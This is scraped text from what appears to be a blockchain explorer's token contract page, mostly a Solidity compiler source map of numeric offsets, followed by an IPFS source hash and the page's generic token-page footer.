;;;;;;;;;;;17943:34;;;;;;17927:50;;18004:5;17995;:14;17988:21;;;;17780:237;;;;:::o;16830:108::-;16924:6;16909;:12;16916:4;16909:12;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;16894:6;:12;16901:4;16894:12;;;;;;;;;;;;;;;:36;;;;16830:108;;:::o;18025:174::-;18090:7;18122:1;18114:4;:9;18110:60;;18154:4;18147;:11;;;;:::i;:::-;18140:18;;;;18110:60;18187:4;18180:11;;18025:174;;;;;:::o;12469:173::-;12525:16;12544:6;;;;;;;;;;;12525:25;;12570:8;12561:6;;:17;;;;;;;;;;;;;;;;;;12625:8;12594:40;;12615:8;12594:40;;;;;;;;;;;;12514:128;12469:173;:::o;18622:446::-;18709:25;18718:4;18724;:9;;;;;;;;;;;;18709:8;:25::i;:::-;18705:356;;;18775:1;18759:18;;:4;:18;;;18751:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;18846:1;18836:6;:11;;18812:4;:10;18817:4;18812:10;;;;;;;;;;;;;;;:21;;;:35;;;;;;;;;;;;;;;;;;18876:1;18866:6;:11;18862:145;;18916:4;18898;:10;18903:4;18898:10;;;;;;;;;;;;;;;:15;;;:22;;;;;;;;;;;;;;;;;;18862:145;;;18987:1;18961:4;:10;18966:4;18961:10;;;;;;;;;;;;;;;:15;;;:28;;;;;;;;;;;;;;;;;;18862:145;19045:4;19021;:10;19026:4;19021:10;;;;;;;;;;;;;;;:21;;;:28;;;;;;;;;;;;;;;;;;18705:356;18622:446;;;:::o;19201:545::-;19324:14;19353:17;19373:13;19381:4;19373:7;:13::i;:::-;19353:33;;19413:1;19401:9;:13;19397:99;;;19448:9;19439:6;:18;19431:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;19397:99;19510:31;19519:4;19525;:10;19530:4;19525:10;;;;;;;;;;;;;;;:15;;;;;;;;;;;;19510:8;:31::i;:::-;19506:231;;;19588:6;19573;:12;19580:4;19573:12;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;19558:6;:12;19565:4;19558:12;;;;;;;;;;;;;;;:36;;;;19618:5;;19609:14;;19638:18;19643:4;19649:6;19638:4;:18::i;:::-;19506:231;;;19719:6;19704;:12;19711:4;19704:12;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;19689:6;:12;19696:4;19689:12;;;;;;;;;;;;;;;:36;;;;19506:231;19313:433;;19201:545;;;:::o;19760:114::-;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:329::-;4912:6;4961:2;4949:9;4940:7;4936:23;4932:32;4929:119;;;4967:79;;:::i;:::-;4929:119;5087:1;5112:53;5157:7;5148:6;5137:9;5133:22;5112:53;:::i;:::-;5102:63;;5058:117;4853:329;;;;:::o;5188:118::-;5275:24;5293:5;5275:24;:::i;:::-;5270:3;5263:37;5188:118;;:::o;5312:222::-;5405:4;5443:2;5432:9;5428:18;5420:26;;5456:71;5524:1;5513:9;5509:17;5500:6;5456:71;:::i;:::-;5312:222;;;;:::o;5540:117::-;5649:1;5646;5639:12;5663:180;5711:77;5708:1;5701:88;5808:4;5805:1;5798:15;5832:4;5829:1;5822:15;5849:281;5932:27;5954:4;5932:27;:::i;:::-;5924:6;5920:40;6062:6;6050:10;6047:22;6026:18;6014:10;6011:34;6008:62;6005:88;;;6073:18;;:::i;:::-;6005:88;6113:10;6109:2;6102:22;5892:238;5849:281;;:::o;6136:129::-;6170:6;6197:20;;:::i;:::-;6187:30;;6226:33;6254:4;6246:6;6226:33;:::i;:::-;6136:129;;;:::o;6271:311::-;6348:4;6438:18;6430:6;6427:30;6424:56;;;6460:18;;:::i;:::-;6424:56;6510:4;6502:6;6498:17;6490:25;;6570:4;6564;6560:15;6552:23;;6271:311;;;:::o;6588:117::-;6697:1;6694;6687:12;6728:710;6824:5;6849:81;6865:64;6922:6;6865:64;:::i;:::-;6849:81;:::i;:::-;6840:90;;6950:5;6979:6;6972:5;6965:21;7013:4;7006:5;7002:16;6995:23;;7066:4;7058:6;7054:17;7046:6;7042:30;7095:3;7087:6;7084:15;7081:122;;;7114:79;;:::i;:::-;7081:122;7229:6;7212:220;7246:6;7241:3;7238:15;7212:220;;;7321:3;7350:37;7383:3;7371:10;7350:37;:::i;:::-;7345:3;7338:50;7417:4;7412:3;7408:14;7401:21;;7288:144;7272:4;7267:3;7263:14;7256:21;;7212:220;;;7216:21;6830:608;;6728:710;;;;;:::o;7461:370::-;7532:5;7581:3;7574:4;7566:6;7562:17;7558:27;7548:122;;7589:79;;:::i;:::-;7548:122;7706:6;7693:20;7731:94;7821:3;7813:6;7806:4;7798:6;7794:17;7731:94;:::i;:::-;7722:103;;7538:293;7461:370;;;;:::o;7837:684::-;7930:6;7938;7987:2;7975:9;7966:7;7962:23;7958:32;7955:119;;;7993:79;;:::i;:::-;7955:119;8141:1;8130:9;8126:17;8113:31;8171:18;8163:6;8160:30;8157:117;;;8193:79;;:::i;:::-;8157:117;8298:78;8368:7;8359:6;8348:9;8344:22;8298:78;:::i;:::-;8288:88;;8084:302;8425:2;8451:53;8496:7;8487:6;8476:9;8472:22;8451:53;:::i;:::-;8441:63;;8396:118;7837:684;;;;;:::o;8527:474::-;8595:6;8603;8652:2;8640:9;8631:7;8627:23;8623:32;8620:119;;;8658:79;;:::i;:::-;8620:119;8778:1;8803:53;8848:7;8839:6;8828:9;8824:22;8803:53;:::i;:::-;8793:63;;8749:117;8905:2;8931:53;8976:7;8967:6;8956:9;8952:22;8931:53;:::i;:::-;8921:63;;8876:118;8527:474;;;;;:::o;9007:180::-;9055:77;9052:1;9045:88;9152:4;9149:1;9142:15;9176:4;9173:1;9166:15;9193:320;9237:6;9274:1;9268:4;9264:12;9254:22;;9321:1;9315:4;9311:12;9342:18;9332:81;;9398:4;9390:6;9386:17;9376:27;;9332:81;9460:2;9452:6;9449:14;9429:18;9426:38;9423:84;;9479:18;;:::i;:::-;9423:84;9244:269;9193:320;;;:::o;9519:160::-;9659:12;9655:1;9647:6;9643:14;9636:36;9519:160;:::o;9685:366::-;9827:3;9848:67;9912:2;9907:3;9848:67;:::i;:::-;9841:74;;9924:93;10013:3;9924:93;:::i;:::-;10042:2;10037:3;10033:12;10026:19;;9685:366;;;:::o;10057:419::-;10223:4;10261:2;10250:9;10246:18;10238:26;;10310:9;10304:4;10300:20;10296:1;10285:9;10281:17;10274:47;10338:131;10464:4;10338:131;:::i;:::-;10330:139;;10057:419;;;:::o;10482:161::-;10622:13;10618:1;10610:6;10606:14;10599:37;10482:161;:::o;10649:366::-;10791:3;10812:67;10876:2;10871:3;10812:67;:::i;:::-;10805:74;;10888:93;10977:3;10888:93;:::i;:::-;11006:2;11001:3;10997:12;10990:19;;10649:366;;;:::o;11021:419::-;11187:4;11225:2;11214:9;11210:18;11202:26;;11274:9;11268:4;11264:20;11260:1;11249:9;11245:17;11238:47;11302:131;11428:4;11302:131;:::i;:::-;11294:139;;11021:419;;;:::o;11446:180::-;11494:77;11491:1;11484:88;11591:4;11588:1;11581:15;11615:4;11612:1;11605:15;11632:191;11672:3;11691:20;11709:1;11691:20;:::i;:::-;11686:25;;11725:20;11743:1;11725:20;:::i;:::-;11720:25;;11768:1;11765;11761:9;11754:16;;11789:3;11786:1;11783:10;11780:36;;;11796:18;;:::i;:::-;11780:36;11632:191;;;;:::o;11829:182::-;11969:34;11965:1;11957:6;11953:14;11946:58;11829:182;:::o;12017:366::-;12159:3;12180:67;12244:2;12239:3;12180:67;:::i;:::-;12173:74;;12256:93;12345:3;12256:93;:::i;:::-;12374:2;12369:3;12365:12;12358:19;;12017:366;;;:::o;12389:419::-;12555:4;12593:2;12582:9;12578:18;12570:26;;12642:9;12636:4;12632:20;12628:1;12617:9;12613:17;12606:47;12670:131;12796:4;12670:131;:::i;:::-;12662:139;;12389:419;;;:::o;12814:180::-;12862:77;12859:1;12852:88;12959:4;12956:1;12949:15;12983:4;12980:1;12973:15;13000:233;13039:3;13062:24;13080:5;13062:24;:::i;:::-;13053:33;;13108:66;13101:5;13098:77;13095:103;;13178:18;;:::i;:::-;13095:103;13225:1;13218:5;13214:13;13207:20;;13000:233;;;:::o;13239:224::-;13379:34;13375:1;13367:6;13363:14;13356:58;13448:7;13443:2;13435:6;13431:15;13424:32;13239:224;:::o;13469:366::-;13611:3;13632:67;13696:2;13691:3;13632:67;:::i;:::-;13625:74;;13708:93;13797:3;13708:93;:::i;:::-;13826:2;13821:3;13817:12;13810:19;;13469:366;;;:::o;13841:419::-;14007:4;14045:2;14034:9;14030:18;14022:26;;14094:9;14088:4;14084:20;14080:1;14069:9;14065:17;14058:47;14122:131;14248:4;14122:131;:::i;:::-;14114:139;;13841:419;;;:::o;14266:225::-;14406:34;14402:1;14394:6;14390:14;14383:58;14475:8;14470:2;14462:6;14458:15;14451:33;14266:225;:::o;14497:366::-;14639:3;14660:67;14724:2;14719:3;14660:67;:::i;:::-;14653:74;;14736:93;14825:3;14736:93;:::i;:::-;14854:2;14849:3;14845:12;14838:19;;14497:366;;;:::o;14869:419::-;15035:4;15073:2;15062:9;15058:18;15050:26;;15122:9;15116:4;15112:20;15108:1;15097:9;15093:17;15086:47;15150:131;15276:4;15150:131;:::i;:::-;15142:139;;14869:419;;;:::o;15294:94::-;15327:8;15375:5;15371:2;15367:14;15346:35;;15294:94;;;:::o;15394:::-;15433:7;15462:20;15476:5;15462:20;:::i;:::-;15451:31;;15394:94;;;:::o;15494:100::-;15533:7;15562:26;15582:5;15562:26;:::i;:::-;15551:37;;15494:100;;;:::o;15600:157::-;15705:45;15725:24;15743:5;15725:24;:::i;:::-;15705:45;:::i;:::-;15700:3;15693:58;15600:157;;:::o;15763:256::-;15875:3;15890:75;15961:3;15952:6;15890:75;:::i;:::-;15990:2;15985:3;15981:12;15974:19;;16010:3;16003:10;;15763:256;;;;:::o;16025:194::-;16065:4;16085:20;16103:1;16085:20;:::i;:::-;16080:25;;16119:20;16137:1;16119:20;:::i;:::-;16114:25;;16163:1;16160;16156:9;16148:17;;16187:1;16181:4;16178:11;16175:37;;;16192:18;;:::i;:::-;16175:37;16025:194;;;;:::o;16225:165::-;16365:17;16361:1;16353:6;16349:14;16342:41;16225:165;:::o;16396:366::-;16538:3;16559:67;16623:2;16618:3;16559:67;:::i;:::-;16552:74;;16635:93;16724:3;16635:93;:::i;:::-;16753:2;16748:3;16744:12;16737:19;;16396:366;;;:::o;16768:419::-;16934:4;16972:2;16961:9;16957:18;16949:26;;17021:9;17015:4;17011:20;17007:1;16996:9;16992:17;16985:47;17049:131;17175:4;17049:131;:::i;:::-;17041:139;;16768:419;;;:::o;17193:172::-;17333:24;17329:1;17321:6;17317:14;17310:48;17193:172;:::o;17371:366::-;17513:3;17534:67;17598:2;17593:3;17534:67;:::i;:::-;17527:74;;17610:93;17699:3;17610:93;:::i;:::-;17728:2;17723:3;17719:12;17712:19;;17371:366;;;:::o;17743:419::-;17909:4;17947:2;17936:9;17932:18;17924:26;;17996:9;17990:4;17986:20;17982:1;17971:9;17967:17;17960:47;18024:131;18150:4;18024:131;:::i;:::-;18016:139;;17743:419;;;:::o

Swarm Source

ipfs://ef9e97f720b71f8b6bb6dc748d0225e42dd89ace16f1f197c58c82ee8ad1ef1a
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.